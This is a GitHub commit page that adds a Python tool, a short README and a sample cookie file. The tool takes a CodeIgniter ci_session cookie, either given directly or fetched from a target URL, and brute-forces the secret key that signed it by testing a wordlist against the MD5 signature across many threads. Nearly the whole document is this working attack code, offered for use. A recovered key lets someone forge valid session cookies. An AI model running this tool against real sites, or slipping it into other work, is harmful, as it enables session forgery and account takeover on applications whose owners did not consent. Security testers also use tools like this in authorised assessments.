-
-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
acb9793
commit 9674cc8
Showing
3 changed files
with
123 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,107 @@ | ||
#!/usr/bin/env python3 | ||
# -*- coding: utf-8 -*- | ||
# File name : CodeIgniter-session-unsign.py | ||
# Author : Podalirius (@podalirius_) | ||
# Date created : 25 Jun 2022 | ||
|
||
import argparse | ||
import binascii | ||
import hashlib | ||
import os | ||
import urllib.parse | ||
import requests | ||
import sys | ||
from concurrent.futures import ThreadPoolExecutor | ||
|
||
|
||
def parseArgs(): | ||
print("CodeIgniter-session-unsign v1.1 - by @podalirius_\n") | ||
|
||
parser = argparse.ArgumentParser(description="Description message") | ||
group_source = parser.add_mutually_exclusive_group() | ||
group_source.add_argument("-u", "--url", default=None, help='URL of the CodeIgniter website.') | ||
group_source.add_argument("-c", "--cookie", default=None, help='CodeIgniter session cookie.') | ||
|
||
parser.add_argument("-w", "--wordlist", default=None, required=True, help='Wordlist of keys to test.') | ||
parser.add_argument("-t", "--threads", dest="threads", action="store", type=int, default=8, required=False, help="Number of threads (default: 8)") | ||
parser.add_argument("-k", "--insecure", dest="insecure", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)") | ||
|
||
group = parser.add_mutually_exclusive_group() | ||
group.add_argument("--md5", default=False, help='Use MD5 algorithm.') | ||
group.add_argument("--sha1", default=False, help='Use SHA1 algorithm.') | ||
group.add_argument("--sha256", default=False, help='Use SHA256 algorithm.') | ||
|
||
return parser.parse_args() | ||
|
||
|
||
def worker(ci_cookie_value, hash, password): | ||
try: | ||
testhash = hashlib.md5(bytes(ci_cookie_value + password, 'UTF-8')).hexdigest() | ||
# print(testhash, hash, (hash == testhash)) | ||
if hash == testhash: | ||
print(" [+] Found valid password: '%s'" % password) | ||
return True | ||
else: | ||
return False | ||
except Exception as e: | ||
print(e) | ||
|
||
|
||
def test_keys(ci_cookie_value, hash, wordlist_file, threads=8): | ||
f = open(wordlist_file, "r") | ||
wordlist = [l.strip() for l in f.readlines()] | ||
f.close() | ||
# Waits for all the threads to be completed | ||
with ThreadPoolExecutor(max_workers=min(threads, len(wordlist))) as tp: | ||
for password in wordlist: | ||
tp.submit(worker, ci_cookie_value, hash, password) | ||
|
||
|
||
if __name__ == '__main__': | ||
options = parseArgs() | ||
|
||
if options.insecure: | ||
# Disable warings of insecure connection for invalid certificates | ||
requests.packages.urllib3.disable_warnings() | ||
# Allow use of deprecated and weak cipher methods | ||
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' | ||
try: | ||
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' | ||
except AttributeError: | ||
pass | ||
|
||
if not os.path.exists(options.wordlist): | ||
print("[!] Could not read wordlist %s." % options.wordlist) | ||
sys.exit() | ||
|
||
cookies = [] | ||
if options.cookie is not None: | ||
cookies = [options.cookie] | ||
else: | ||
session = requests.Session() | ||
session.get(options.url, verify=(not options.insecure)) | ||
for cookie in session.cookies: | ||
if cookie.name == "ci_session": | ||
cookies.append(cookie.value) | ||
|
||
for cookie_value in cookies: | ||
v = urllib.parse.unquote(cookie_value) | ||
if '}' in v: | ||
hashlen = len(v.split('}')[-1]) | ||
hexhash = cookie_value[-hashlen:] | ||
hashraw = binascii.unhexlify(cookie_value[-hashlen:]) | ||
ci_cookie_value = urllib.parse.unquote(cookie_value[:-hashlen]) | ||
print("[+] Parsed CodeIgniter session cookie:") | ||
print(" | value : %s" % ci_cookie_value) | ||
print(" | signature (%d bits) : %s" % (hashlen*8, hexhash)) | ||
|
||
print("[+] Trying to find key...") | ||
test_keys( | ||
ci_cookie_value=ci_cookie_value, | ||
hash=hexhash, | ||
wordlist_file=options.wordlist, | ||
threads=options.threads | ||
) | ||
|
||
else: | ||
print("[!] Could not parse CodeIgniter session cookie.") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,15 @@ | ||
# CodeIgniter-session-unsign | ||
# CodeIgniter-session-unsign | ||
|
||
## e | ||
|
||
## Example | ||
|
||
```angular2html | ||
./CodeIgniter-session-unsign.py --cookie $(cat ./example/cookie) -k -w pass | ||
``` | ||
|
||
## Contributing | ||
|
||
|
||
## References | ||
- https://www.websec.ca/publication/blog/insecure-session-data-CodeIgniter |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c |